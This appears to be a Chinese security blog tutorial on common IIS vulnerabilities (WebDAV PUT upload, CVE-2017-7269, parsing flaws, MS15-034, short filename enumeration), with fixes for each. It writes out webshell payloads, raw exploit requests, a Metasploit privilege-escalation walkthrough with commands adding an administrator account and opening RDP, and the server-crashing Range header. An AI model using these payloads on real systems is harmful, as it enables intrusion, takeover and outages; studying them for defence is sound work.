中间件常见漏洞之IIS

admin 2023年3月8日16:36:01中间件常见漏洞之IIS已关闭评论355 views字数 7942阅读26分28秒阅读模式

免责声明

由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 IIS简介

IIS全程为Internet Information Service, 是基于运行Microsoft Windows的一个web server,类似于java里面的tomcat。IIS是一套环境工具,不是操作系统,是安装在windows上的web平台。

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面。其结构如下图所示:

图片

IIS怎么工作的
IIS通过多种标准语言和协议工作。HTML用于创建元素,例如文本,按钮,图像放置,直接交互/行为和超链接。HTTP是用于在Web服务器和用户之间交换信息的基本通信协议。HTTPS(安全套接字层(SSL)上的HTTP)-使用传输层安全性或SSL加密通信以增加数据安全性。文件传输协议(FTP)或其安全变体FTPS可以传输文件。
IIS和ASP.net core
ASP.NET Core框架是最新一代的Active Server Page(ASP)框架,这是一种可生成交互式网页的服务器端脚本引擎。一个请求从Web传入IIS服务器,然后将请求发送到ASP.NET Core应用程序,该应用程序处理该请求并将其响应发送回IIS服务器和发起该请求的客户端。可以用ASP.NET Core编写的应用程序,例如博客平台和内容管理系统(CMS)。
开发人员可以使用许多工具(包括WebDAV)开发IIS网站,这些工具可以创建和发布Web内容。开发人员还可以使用集成开发工具,例如Microsoft Visual Studio。
IIS的版本
IIS作为微软的产品与Microsoft Windows一起发展。IIS的早期版本随Windows NT(New Technology)一起提供。IIS 1.0与Windows NT 3.51一起出现,并且是通过带有Windows NT 4.0的IIS 4.0演变而来的。Windows 2000附带了IIS5.0。Microsoft在Windows Server 2003中添加了IIS6.0。IIS7.0对Windows Server 2008进行了重大重新设计(IIS 7.5在Windows Server 2008 R2中)。Windows Server 2012附带IIS 8.0(Windows Server 2012 R2使用IIS 8.5)。IIS 10随Windows Server 2016和Windows 10一起提供。
在IIS的每次迭代中,Microsoft添加了新功能并更新了现有功能。例如,IIS 3.0为动态脚本添加了ASP。IIS 6.0增加了对IPv6的支持,并提高了安全性和可靠性。IIS 8.0在非统一内存访问硬件,集中式SSL证书支持和服务器名称指示上实现了多核扩展。
IIS与Apache区别
IIS和Apache之间的差异包括:
IIS与Windows打包在一起,而Apache是免费和开源的。
尽管IIS仅在Windows上运行,但Apache几乎可以在任何操作系统上运行,包括macOS,UNIX和Linux(最适合Linux)。
1.IIS与其他Microsoft产品集成,例如.NET和ASPX脚本语言。
2.IIS有一个服务台来处理大多数问题,而对Apache的支持来自用户社区。
3.IIS的安全功能使其成为比Apache更安全的选择。
4.IIS的基础技术与全世界的标准Web界面兼容。

0x02 IIS漏洞

1.PUT上传漏洞
解析漏洞原理介绍
1. 当建立 *.asa、*.asp 格式的文件夹时,其目录下的任意文件都被IIS当做asp文件解析
2. 当文件是 *.asp;1.jpg ,IIS6.0同样会将文件作为asp文件解析
同时以下三种也可作为asp文件执行(只要是用asp.dll解析的文件,都可以被当做asp执行),也可以手动设置后缀名
test.asa;1.jpg
test.cer;1.jpg
test.cdx;1.jpg
PUT上传原理
WebDVA 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法
1.探测是否存在IIS PUT 漏洞
OPTIONS /HTTP1.1Host:www.xxx.com

2.上传txt文件

PUT /a.txt HTTP1.1Host:www.xxx.comContent-Length:30
<%?php eval($_POST['a']);?%>  #上传的文件内容

3.通过Move或Copy重命名

COPY /a.txt HTTP1.1Host:www.xxx.comDestination:http://www.xxx.com/cmd.asp;.txt    #将a.txt重命名为cmd.asp(由于解析漏洞)

4.删除

DELETE /a.txt HTTP1.1Host:www.xxx.com
PUT上传探测
OPTIONS 探测 和 自动化工具探测(kali中的nikto)
#利用nikto探测-nikto -h IP

PUT上传利用(漏洞复现)

利用burpsuite抓包,根据PUT上传原理,修改相关参数
PUT的利用
第一行改为 PUT /123.txt HTTP1.1
将一句话木马<%?php eval($_POST[‘a’]);?%>写在最后

图片

COPY的利用
将根目录下的文件123.txt 重命名为 123.asp;aaa.jpg(这样操作符合解析漏洞,又能避免查杀)

图片

图片

下面就可以利用Cknife、蚁剑等软件getshell
PUT文件上传防范
1.主目录关闭写入权限
2.WebDVA设置为禁止
解析漏洞防范
1.自己编写正则表达式,禁止上传xx.asp;.jpg类型的文件
2.做好权限设置,限制用户创建文件夹
补充:HTTP 中请求方式汇总

图片

1. OPTION
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送 ‘*’ 的请求测试服务器的功能性
2. HEAD
与GET方法类似,只不过不返回消息体。
HEAD的用法
检查资源有效性检查超链接的有效性检查网页是否被篡改多用于自动搜索机器人获取网页的标志信息,获取rss种子信息,或者传递安全认证信息等
3. PUT
向指定位置上传新的内容,用作添加内容
4. DELETE
请求服务器删除Request-URL所标识的资源
5. TRACE
回显服务器收到的请求,主要用于测试或诊断
6. CONNECT
HTTP/1.1 中预留给能够将连接改为管道方式的代理服务器

2.IIS6.0 远程代码执行漏洞 CVE-2017-7269

漏洞描述
IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁。
影响版本以及利用条件
Windows 2003 R2开启WebDAV服务的IIS6.0
漏洞复现
1.IIS开启WebDAV

图片

工具检测存在CVE-2017-7269漏洞

图片

Exp下载地址:
https://github.com/zcgonvh/cve-2017-7269
把exp放入到msf中,#注意模块的命名名称,单词之间加下划线
这个地方有个坑,下载的exp:cve-2017-7269 直接放在metasploit中是不能加载识别的,得把cve-2017-7269修改为cve_2017_7269
将桌面上的cve_2017_7269.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/iis/目录下
命令:
cp /root/桌面/cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
给cve_2017_7269.rb执行权限

图片

打开metasploit重新加载exp模块,加载完模块之后,exp数量会增加1

图片

4.使用模块,设置参数

图片

设置参数模块如下设置即可忘记截图了一个,还有一个命令:
set lhost 192.168.36.129(kali地址)

图片

返回shell,查看当前用户权限,发现是一般用户权限

图片

cd到网站目录,寻找一个可以创建文件夹的目录,一个一个寻找

图片

按Ctrl + C退出shell,输出y

图片

利用Metasploit的上传功能,把提权工具iis6.exe上传到刚刚新建的文件里(提权工具有很多,iis6.exe,pr.exe等等)

图片

又回到shell里面确定工具上传是否成功

图片

图片

利用工具进行提权,命令:iis6.exe “whoami”,已经是system权限了

图片

进行新建用户,iis6.exe “net user xiaohua xiaohua123 /add”

图片

添加用户到管理员,iis6.exe “net localhost administrators xiaohua /add”

图片

查看远程连接是否打开,没有打开,命令:netstat -an

图片

再上传一个开3389.bat,利用iis6.exe运行,打开目标机的3389端口(上传3389.bat的方法和上面iis6.exe上传方法一样)

命令:iis6.exe “3389.bat”

图片

查看是否打开,netstat -an,已经成功打开

3.IIS6.0 解析漏洞

漏洞简介

IIS文件解析漏洞原理 IIS6.0存在文件解析漏洞 , 文件名中分号( ; )后面的内容不会被解析 比如 a.asp;jpg 文件 会被IIS解析成 a.asp 这个漏洞是逻辑上的问题,IIS6.0只是简单的根据扩展名来识别文件类型 , IIS底层使用C++写的,分号在C++中是结束符号 , 解析文件名读取到分号的时候,IIS会认为代码已经结束,从而停止解析

使用墨者靶场来复现文件解析漏洞
上传123.jpg

图片

将upload改为文件夹名称

图片

并用;号隔开

图片

图片

上传成功,连接哥斯拉

图片

4.IIS7&7.5解析漏洞

漏洞成因:
当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生
漏洞复现
复现是有两点需要注意1.cgi.fix_pathinfo的值为1当cgi.fix_pathinfo的值为1时,php会对文件路径进行修理

图片

添加程序映射的时候,请求限制中的这个选项需要取消勾选

图片

图片

常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd

修复

1.配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

2.编辑映射模块->映射->打勾

5.HTTP.SYS远程代码执行(MS15-034)

漏洞介绍
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引
入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送
特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统
帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server
2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2
影响版本
IIS7.5、IIS8.0、IIS8.5
复现
访问网站
编辑请求头,增加
Range: bytes=0-18446744073709551615
字段,若返回码状态为416 Requested
Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

图片

GET / HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Range: bytes=0-18446744073709551615 Content-Length: 2

poc地址

https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

图片

图片

使用IIS作为WEB容器且使用版本存在编号为MS-15034的远程代码执行漏洞。利用该漏洞可轻易使服务器宕机蓝屏。发送测试代码,若返回“Requested Range Not Satisfiable”证明存在此漏洞
漏洞修复
安装修复补丁(KB3042553)
6.IIS短文件名泄露漏洞
漏洞描述

Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。

危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。

漏洞成因

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

在Windows下查看对应的短文件名,可以使用命令 dir /x

图片

如上图,Downloads对应的短文件名为DOWNLO~1。根据此特性,我们能够通过访问短文件名间接访问它对应的文件。
由于短文件名的长度固定(xxxxxx~xxxx),因此黑客可直接对短文件名进行暴力破解,从而访问对应的文件。
举个例子,有一个数据库备份文件 backup_www.abc.com_20190101.sql,它对应的短文件名是 backup~1.sql 。因此黑客只要暴力破解出 backup~1.sql 即可下载该文件,而无需破解完整的文件名。
短文件名有以下特征:

1.只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。

2.后缀名最长只有3位,多余的被截断。

3.访问构造的某个存在的短文件名,会返回404

4.访问构造的某个不存在的短文件名,会返回400

漏洞的利

漏洞的利用,需要使用到通配符。在windows中,可以匹配n个字符,n可以为0.判断某站点是否存在IIS短文件名暴力破解,构造payload,分别访问如下两个URL:

1. http://www.xxx.com/*~1****/a.aspx

2. http://www.xxx.com/1234*~1****/a.aspx

这里使用了4个星号,主要是为了程序自动化猜解,逐个猜解后缀名中的3个字符,实际上,一个星号与4个星号没有任何区别(上面已经提到,*号可以匹配空)。

如果访问第一个URL,返回404,

图片

而访问第二个URL,返回400,

图片

则目标站点存在漏洞。
判断漏洞存在后,继续猜解目录下是否存在一个a开头的文件或文件夹,访问:
http://www.xxx.com/a*~1****/a.aspx
如果存在,将返回404。
如此反复,不断向下猜解完所有的6个字符。
猜解完之后,得到的序列应该类似:
http://www.xxx.com/abcdef*~1****/a.aspx
到了这一步,需要考虑两种情况,如果以abcdef开头的是一个文件夹,则
http://www.xxx.com/abcdef*~1/a.aspx
将返回404.
如果abcdef开头的是一个文件,则自动提交
http://www.xxx.com/abcdef*~1*g**/a.aspx
用a-z的26个字母替换上述g的位置,应该能得到多个404页面。(记住一点,404代表的是存在。)如果下面的地址返回404,
http://www.xxx.com/abcde*~1*g**/a.aspx
则代表扩展名中肯定存在g。
按照上面的思路,继续猜解g后面的字符,直到后缀名中的3个字符都猜解完,就可以了。
以上介绍了怎么手工猜解,这个漏洞的意义何在:
1.猜解后台地址
2.猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等。
3.在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件。

漏洞的局限

这个漏洞的局限有几点:

只能猜解前六位,以及扩展名的前3位。名称较短的文件是没有相应的短文件名的。需要IIS.net两个条件都满足
1.通用有效方法:
禁用windows系统中的短文件名功能。打开注册表并打开此目录 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改 NtfsDisable8dot3NameCreation 的值为1 。修改完成后,需要重启系统生效。
2.简单有效方法:CMD命令
Windows Server 2008 R2 查询是否开启短文件名功能:fsutil 8dot3name query 关闭该功能:fsutil 8dot3name set 1 Windows Server 2003 关闭该功能:fsutil behavior set disable8dot3 1
3.手动验证新建文件夹并创建几个文件,打开CMD进入该文件夹呢执行dir /x 检测,看不到有显示短文件名则成功。
注: 
1.Windows Server 2003修改后需要重启服务器生效! 
2.已存在的文件短文件名不会取消,只对以后创建的文件有效! 
3.WEB站点需要将内容拷贝到另一个位置, 如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的

0x03 知识星球

图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日16:36:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中间件常见漏洞之IIShttps://cn-sec.com/archives/1592195.html